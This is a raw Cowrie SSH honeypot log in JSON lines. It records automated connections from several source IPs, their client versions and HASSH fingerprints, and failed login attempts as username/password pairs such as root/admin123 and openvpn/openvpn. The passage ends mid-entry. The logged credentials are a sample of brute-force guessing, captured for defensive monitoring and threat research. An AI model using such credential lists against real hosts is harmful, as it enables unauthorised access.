{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:32.399248Z","src_ip":"152.32.171.99","session":"d6a4efae5ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aapje123","message":"login attempt [root/aapje123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:33.306216Z","src_ip":"152.32.171.99","session":"d6a4efae5ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:34.528244Z","src_ip":"152.32.171.99","session":"d6a4efae5ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53758,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a3fb3adf38","protocol":"ssh","message":"New connection: 83.168.110.85:53758 (159.203.135.109:22) [session: 85a3fb3adf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:36.476650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:36.481114Z","src_ip":"83.168.110.85","session":"85a3fb3adf38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:36.604676Z","src_ip":"83.168.110.85","session":"85a3fb3adf38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:37.124076Z","src_ip":"83.168.110.85","session":"85a3fb3adf38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:38.395772Z","src_ip":"83.168.110.85","session":"85a3fb3adf38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45638,"dst_ip":"159.203.135.109","dst_port":22,"session":"134af5cd4d5d","protocol":"ssh","message":"New connection: 83.168.110.85:45638 (159.203.135.109:22) [session: 134af5cd4d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:46.996723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:47.003630Z","src_ip":"83.168.110.85","session":"134af5cd4d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:47.128977Z","src_ip":"83.168.110.85","session":"134af5cd4d5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:47.491875Z","src_ip":"83.168.110.85","session":"134af5cd4d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:48.724878Z","src_ip":"83.168.110.85","session":"134af5cd4d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45902,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e4b64b73cf","protocol":"ssh","message":"New connection: 83.168.110.85:45902 (159.203.135.109:22) [session: 22e4b64b73cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:57.380332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:57.388635Z","src_ip":"83.168.110.85","session":"22e4b64b73cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:57.518163Z","src_ip":"83.168.110.85","session":"22e4b64b73cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:57.893581Z","src_ip":"83.168.110.85","session":"22e4b64b73cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":42820,"dst_ip":"159.203.135.109","dst_port":22,"session":"715ac92769eb","protocol":"ssh","message":"New connection: 103.118.29.129:42820 (159.203.135.109:22) [session: 715ac92769eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:58.904803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:58.910468Z","src_ip":"103.118.29.129","session":"715ac92769eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:59.067229Z","src_ip":"83.168.110.85","session":"22e4b64b73cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:59.155744Z","src_ip":"103.118.29.129","session":"715ac92769eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwer","message":"login attempt [root/123qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:00.172088Z","src_ip":"103.118.29.129","session":"715ac92769eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:01.425052Z","src_ip":"103.118.29.129","session":"715ac92769eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59728,"dst_ip":"159.203.135.109","dst_port":22,"session":"f433167f14c3","protocol":"ssh","message":"New connection: 83.168.110.85:59728 (159.203.135.109:22) [session: f433167f14c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:08.032980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:08.037860Z","src_ip":"83.168.110.85","session":"f433167f14c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:08.161787Z","src_ip":"83.168.110.85","session":"f433167f14c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:08.531474Z","src_ip":"83.168.110.85","session":"f433167f14c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:09.724085Z","src_ip":"83.168.110.85","session":"f433167f14c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":36056,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d578026af25","protocol":"ssh","message":"New connection: 160.251.185.39:36056 (159.203.135.109:22) [session: 3d578026af25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:09.913326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:09.918557Z","src_ip":"160.251.185.39","session":"3d578026af25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:10.101681Z","src_ip":"160.251.185.39","session":"3d578026af25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gfhjkm12","message":"login attempt [root/Gfhjkm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:10.863569Z","src_ip":"160.251.185.39","session":"3d578026af25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:12.049581Z","src_ip":"160.251.185.39","session":"3d578026af25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33856,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d900c9aa434","protocol":"ssh","message":"New connection: 83.168.110.85:33856 (159.203.135.109:22) [session: 7d900c9aa434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:18.426363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:18.437411Z","src_ip":"83.168.110.85","session":"7d900c9aa434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:18.558632Z","src_ip":"83.168.110.85","session":"7d900c9aa434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:18.925369Z","src_ip":"83.168.110.85","session":"7d900c9aa434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:20.091535Z","src_ip":"83.168.110.85","session":"7d900c9aa434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14012,"dst_ip":"10.17.0.5","dst_port":22,"session":"18b55a651f33","protocol":"ssh","message":"New connection: 87.251.64.176:14012 (10.17.0.5:22) [session: 18b55a651f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:25.101119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:36:25.105696Z","src_ip":"87.251.64.176","session":"18b55a651f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 